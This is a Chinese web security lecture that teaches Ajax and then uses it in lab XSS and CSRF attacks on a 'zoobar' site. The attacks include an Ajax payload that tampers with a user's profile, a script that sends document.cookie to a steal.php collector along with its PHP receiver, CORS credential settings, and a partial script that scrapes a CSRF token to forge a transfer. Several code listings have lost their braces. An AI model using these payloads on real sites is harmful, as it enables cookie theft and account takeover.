Web安全实践:XSS(2)
上次课我们介绍了XSS的基本原理,演示了偷到别人的Cookie。这一节,我们进一步讨论XSS,并且在Ajax的帮助下,完成一个XSS蠕虫。蠕虫的特点是它具有传播性,也即被攻击者除了被攻击之外,自己也会被传染,从而帮助传播攻击。一个著名的XSS蠕虫(也是世界上第一个XSS蠕虫?)的例子是MySpace的Samy Worm,创造了24小时传染百万用户的光辉战绩。
Ajax是啥呢? Ajax的全称是Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。Ajax并不是一门新的语言,使用现有的JS语法。简单地讲,ajax是高配版的JS form。
记得在比较早的时候,没办法在一个页面同时提交两个表单——直接通过点击按钮的方式肯定是不行的,通过JS连续执行两个sumbit都不行,但是这个代码在第二年重新运行的就通过了——最早用这个例子来展示Ajax的优点,后来JS直接写也能做到。
首先要来看看Ajax的基本使用。
AJAX 是一种用于创建快速动态网页的技术。通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。在 2005 年,Google 通过其 Google Suggest 使 AJAX 变得流行起来。Google Suggest 使用 AJAX 创造出动态性极强的 web 界面:当在谷歌的搜索框输入关键字时,JavaScript 会把这些字符发送到服务器,然后服务器会返回一个搜索建议的列表。
我们来看一个例子:
<script type="text/javascript">
function loadXMLDoc(URL)
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.onreadystatechange=function()
if (xmlhttp.readyState==4 && xmlhttp.status==200)
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
xmlhttp.open("GET",URL,true);
xmlhttp.send();
function loadXML(URL){
document.location = URL;
</script>
</head>
<div id="myDiv"><h3>Let AJAX change this text</h3></div>
<button type="button" onclick="loadXML('test.txt')">Change Content with raw JS</button>
<button type="button" onclick="loadXMLDoc('test.txt')">Change Content with Ajax</button>
</body>
16,1 66%
以上代码中,分别使用原生的JS来获一个文件内容,以及使用Ajax获取内容之后,在原始页面进行更新。
从上面的代码中,我们也能看出Ajax的使用特点。主要是包括三部分,第一,生成XMLHTTPRequest对象;第二,发出请求;第三,处理请求返回的结果。我们一个个来看下。
XMLHttpRequest 是 AJAX 的基础。 所有现代浏览器均支持 XMLHttpRequest 对象(IE5 和 IE6 使用 ActiveXObject)。XMLHttpRequest 用于在后台与服务器交换数据。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
生成XMLHttpRequest对象,一行代码就够了:
xmlhttp=new XMLHttpRequest();
考虑到兼容性,可以对IE6做专门处理。
在生成XMLHTTPREQUEST对象之后,要将请求发送到服务器,使用 XMLHttpRequest 对象的 open() 和 send() 方法:
xmlhttp.open("GET","test1.txt",true);
xmlhttp.send();
这里open函数的三个参数需要注意。
open( method , url , async )规定请求的类型、URL 以及是否异步处理请求。
- method :请求的类型;GET 或 POST
- url :文件在服务器上的位置
- async :true(异步)或 false(同步)
responseText 属性
如果来自服务器的响应并非 XML,请使用 responseText 属性。
responseText 属性返回字符串形式的响应,可以这样使用:
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
如果来自服务器的响应是 XML,而且需要作为 XML 对象进行解析,请使用 responseXML 属性。
onreadystatechange 事件
当请求被发送到服务器时,我们需要执行一些基于响应的任务。
每当 readyState 改变时,就会触发 onreadystatechange 事件。
readyState 属性存有 XMLHttpRequest 的状态信息。
下面是 XMLHttpRequest 对象的三个重要的属性:
我们使用一些例子来比较一下不同参数的含义。从而来体会一下它们的特点。
- GET和POST
比较一下的代码。
<html>
<script type="text/javascript">
function loadXMLDoc()
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.onreadystatechange=function()
if (xmlhttp.readyState==4 && xmlhttp.status==200)
// if (xmlhttp.readyState==4 && xmlhttp.status==0)
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
alert(xmlhttp.responseText);
xmlhttp.open("GET","1.txt",true);
xmlhttp.send();
</script>
</head>
<div id="myDiv"><h2>Let AJAX change this text</h2></div>
以上代码是使用GET方式请求文件。过会儿可以把它改成POST来试一下。
点击更改页面内容。
多次点击。甚至在修改了1.txt的内容之后,GET方式在一定时间内,是不会真正重新发送请求的,它会优先使用缓存。
过了一分钟,再请求,缓存失效。
使用Chrome尝试,也存在同样的问题。
POST方式不存在这个问题。
【另外,提醒一下,通过AJAX请求获得的返回值中的<script>代码不会执行。不过在通用的JS框架中,这应该不是问题】
另外,如果希望传递参数。那么,使用GET方式,直接在URL中把参数的值加上就行了;如果使用POST方式,相当于是使用表单传递数据,需要额外地设置HTTP头。然后把参数通过send方法传递出去。
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("fname=Bill&lname=Gates");
2. 同步和异步
<!-- A basic example to demonstrate asynchronous. -->
<script type="text/javascript">
function loadXMLDoc()
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.onreadystatechange=function()
if (xmlhttp.readyState==4 && xmlhttp.status==200)
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
// xmlhttp.open("GET","1.php",true);
// xmlhttp.open("GET","1.php",false);
// xmlhttp.open("POST","1.php",false);
xmlhttp.open("POST","1.php",true);
xmlhttp.send();
</script>
</head>
<div id="myDiv"><h2>Let AJAX change this text</h2></div>
<img src="w3.gif" onload="loadXMLDoc();alert(1);" />
<img src="w3.gif" />
</body>
</html>
这里的1.php的主要作用就是sleep(10),10秒之后再反应。
<?php
sleep(10);
<title></title>
</head>
<form action="" method="get" >
Symbol: <textarea id="symbol" name="symbol" type="text"> </textarea>
<br><br>
<input type="submit" value="Get Quote">
</form>
<script>
document.getElementById('symbol').innerHTML="<?php print("hello");?>";
</script>
</body>
</html>
上面这份代码中,使用了四种不同的组合,可以逐个测试一下。在loadXMLDoc()函数执行之后,有一个alert(1);请大家思考,这个对话框弹出的时机与参数的关系。
基本来说,看了这个演示之后,对同步和异步的差别就很清楚了。
另外,需要注意的是,
当使用 async=true 时,请规定在响应处于 onreadystatechange 事件中的就绪状态时执行的函数:
xmlhttp.onreadystatechange=function()
if (xmlhttp.readyState==4 && xmlhttp.status==200)
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
xmlhttp.open("GET","test1.txt",true);
xmlhttp.send();
使用 async=false 时,请不要编写 onreadystatechange 函数 , 把代码放到 send() 语句后面即可:
xmlhttp.open("GET","test1.txt",false);
xmlhttp.send();
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
3. readystate和status
unction handler()
// only handle loaded requests
if (xhr.readyState == 4)
alert(xhr.readyState+"\n Loaded, Ready to display!");
if(xhr.status==200){
alert("really ready!");
alert(xhr.responseText);
document.getElementById("symbol").innerHTML = xhr.responseText;
else if (xhr.readyState == 3)
alert(xhr.readyState+"\n receiving...");
else if (xhr.readyState == 2)
alert(xhr.readyState+"\n sent request!");
else if (xhr.readyState == 1)
alert(xhr.readyState+"\n open() opened!");
else if (xhr.readyState == 0)
alert(xhr.readyState+"\n Uninitialized!");
以及在接收到返回结果,也即readyState为4的情况下,状态的情况:
function handler()
// only handle loaded requests
if (xhr.readyState == 4)
if (xhr.status == 200)
alert(xhr.status + "\nPage Ready!");
document.getElementById('symbol').innerHTML = xhr.responseText;
else if (xhr.status == 404)
alert(xhr.status+"\nPage not found!");
else if (xhr.status == 403)
alert(xhr.status+"\nAccess Denied!");
我们来总结强调一下Ajax的几个特性。
- 局部更新。仅仅更新数据。
- 异步更新,在请求受阻,其他部分的代码可以继续执行。
- 接收回复并处理。
使用AJAX精简攻击代码
有了这些概念之后,我们来看一下使用AJAX来完成我们之前的XSS攻击。之前我们可以使用JS创建表单、创建表单中的每个INPUT、然后提交;如果想要同时完成篡改Profile和偷zoobar,那么分别创建两个。代码相对而言就比较长。
接下来,我们来试一下,使用AJAX来完成这个攻击。
<script>
var a = new XMLHttpRequest();
a.open("post","http://www.zoobar.com/index.php",true);
a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
a.send("profile_update=i love serena&profile_submit=Save");
</script>
代码量少的多,感觉攻击难度都降低了。
然后我们就想到一个问题,CSRF也能实现篡改Profile和偷Zoobar,那么我们也来使用Ajax完成CSRF吧。
那我们来用Ajax写一下CSRF的攻击代码。
hi, there.
<script>
var a = new XMLHttpRequest();
a.open("post","http://www.zoobar.com/index.php",true);
a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
a.send("profile_update=i love serena&profile_submit=Save");
</script>
大家来考虑一下, 这个攻击会不会成功。
首先我们确保普通的方法确实可以攻击成功。
然后再来看一看CSRF确实不能成功。这个代码本身是没有问题的,如果我们把这个代码拷贝到一个用户的profile中,查看一下,用户的profile也会被改变。所以,代码本身没问题。那问题在哪里呢?
我们来查看一下浏览器的Console,结果能发现,跨域请求被拒绝。
CORB可以参考 这篇 。
这里我们要介绍一下Web的一个基本的安全准则,SOP(same origin policy)。
同源策略是由Netscape提出的一个著名的安全策略, 同源是指,域名,协议,端口相同。不同源的客户端脚本(javascript、ActionScript)在没明确授权的情况下,不能读写对方的资源。 现在所有支持JavaScript 的浏览器都会使用这个策略。
实际上,这种策略只是一个规范,并不是强制要求,各大厂商的浏览器只是针对同源策略的一种实现。它是浏览器最核心也最基本的安全功能。它为现代广泛依赖于cookie维护用户会话的Web浏览器定义了一个特殊的功能,严格隔离不相关的网站提供的内容,防止客户端数据机密性或完整性丢失。在浏览器中,<script>、<img>、<iframe>、<link>等标签都可以加载跨域资源,而不受同源限制,但浏览器限制了JavaScript的权限使其不能读、写加载的内容。而AJAX已经突破了JS的限制,可以读写加载的内容了。
接下来再看一个例子,在对CSRF的实验中,有同学提出了这么个疑问(csrfframe.html):
虽然CSRF使用了token进行防御,但是我认为还是可以绕过的。因为我发现,在CSRF攻击中我们使用了iframe来防止进行页面跳转,而跳转之后的页面会在iframe中。也就意味着,在用户打开的攻击者的页面上存在token的值。如果防御的CSRF的token的粒度比较粗,譬如用户一次登录期间不会改变,那么攻击者可以在页面上增加一些代码,自动地取出iframe中的页面中的token的值,然后将这个值附加在攻击者构造的表单请求中,从而可以完成攻击。
首先来说,这个思路是完全正确的(包括在后面的XSS绕过CSRF防御也是同样的思路),但是这种做法不会成功。不会成功的原因,浏览器进行了阻止。同样的,是因为同源策略。由于iframe中的网页资源属于 http://www. zoobar.com ,而攻击者的代码是 http://www. attacker.com ,因此,攻击者的代码不能访问iframe中的网页资源。
可以写点代码对比一下:
<iframe src="http://www.zoobar.com/1.html" name="f1" style="height:200px;width = 400px;"></iframe>
<iframe src= "http://evil.site.com/1.html" name="f2" style="height:200px;width = 400px;"></iframe>
<script>
alert(window.frames[0].document.getElementById("resource"));
alert(window.frames[1].document.getElementById("resource").innerHTML);
</script>
这里,如果强行在script中的第一行也写上.innerHTML,则浏览器会报错。
但是,因为跨域的需求还是很多的,所以人们又在不断的找新方法来绕过这个限制。比较著名的方法有JSONP,CORS。
什么是CORS呢?
“Cross-origin resource sharing (CORS) is a mechanism that allows a web page to make XMLHttpRequests to another domain. Such "cross-domain" requests would otherwise be forbidden by web browsers, per the same origin security policy. CORS defines a way in which the browser and the server can interact to determine whether or not to allow the cross-origin request. It is more powerful than only allowing same-origin requests, but it is more secure than simply allowing all such cross-origin requests.” ----Wikipedia
也就是说,Ajax能不能跨域,主要取决于对方的服务器。服务器如果愿意跨域,那就没问题。那一个希望安全性比较高的网站,可能会拒绝;需要经常跨域交流的网站,可以。
通过在HTTP Header中加入扩展字段,服务器在相应网页头部加入字段表示允许访问的domain和HTTP method,客户端检查自己的域是否在允许列表中,决定是否处理响应。
实现的基础是JavaScript不能够操作HTTP Header。某些浏览器插件实际上是具有这个能力的。
服务器端在HTTP的响应头中加入(页面层次的控制模式):
Access-Control-Allow-Origin: example.com
Access-Control-Request-Method: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization, Accept, Range, Origin
Access-Control-Expose-Headers: Content-Range
Access-Control-Max-Age: 3600
多个域名之间用逗号分隔,表示对所示域名提供跨域访问权限。"*"表示允许所有域名的跨域访问。
我们来看一个例子。
在讲完偷cookie的例子的时候,因为要想偷cookie,我们构造了一个比较麻烦的动态生成的<a>或者<img>,有同学就提出了可不可以使用ajax把cookie直接发送到攻击者网站。
大家来想一下,这样行不行?
我们首先来看下,该怎么写这个代码?
<script>
var pay=new XMLHttpRequest();
url = "http://www.zoobar.com/steal.php?cookie="+document.cookie;
pay.open("get",url,false);
pay.send("");
</script>
服务器端可以准备下面的代码:
Steal.php
header("Access-Control-Allow-Origin:*");
$myfile = fopen("test.txt","w") or die("unable to open");
fwrite($myfile,$_GET["cookie"]);
fclose($myfile);
另外要注意:
1. 只有在使用ajax进行跨域请求的时候,header中才会带上origin。
2. 跨域如果不成功,console中会报错。
3. 如果跨域确实没成功,但是这个不成功不是体现在steal.php(server)有没有收到请求,而且发送方确实也能收到回复;但是请求方(client)不能处理(读取和操作)这个回复。
在steal.php中如果没有
header("Access-Control-Allow-Origin:*");
也能够正常接收cookie并保存;但是在 http:// zoobar.com ,会报错:
加上之后就没有这个错误了。
关于Ajax的跨域问题,还需要注意的一点是,Ajax在跨域的时候不会主动带上cookie。所以,之前我们在构造CSRF的Ajax版本的时候失败,主要的原因是Ajax的跨域访问浏览器就没有自动带上cookie,从而导致本来对index.php页面的访问被自动转到了login页面,而login页面并没有添加跨域的access-control。同时因为没有cookie,所以这个攻击肯定失败。
但是,再一次地,为了满足开发需求,安全做了让步。可以通过在Ajax请求中带上
xhr.withCredentials = true; //支持跨域发送cookies
以及在服务端添加:
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Origin: http://www.xxx.com");
来绕过这个限制。
在进行这些修改之后,可以看到Ajax版本的CSRF也成功了。
接着体会CSRF和XSS的区别。
现在,我们把CSRF的漏洞防御住。也即,现在使用我们之前的方法来实现CSRF,也同样会失败。
那XSS呢?会不会失败?
之前的代码肯定也不行。因为它缺少一个必要的参数。是不是意味着,如果防御了CSRF,也顺路就把XSS给防御了呢?
我们来看另外一份代码:
<script>
var a = new XMLHttpRequest();
var t,context;
a.onreadystatechange=function(){if(a.readyState==4)
context = (a.responseText);
alert(context.substr(context.indexOf("token")+25,32))
t = context.substr(context.indexOf("token")+25,32);
a.open("get","transfer.php",false);
a.send()
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","transfer.php",true);
xmlhttp.setRequestHeader("content-type", "application/x-www-form-urlencoded");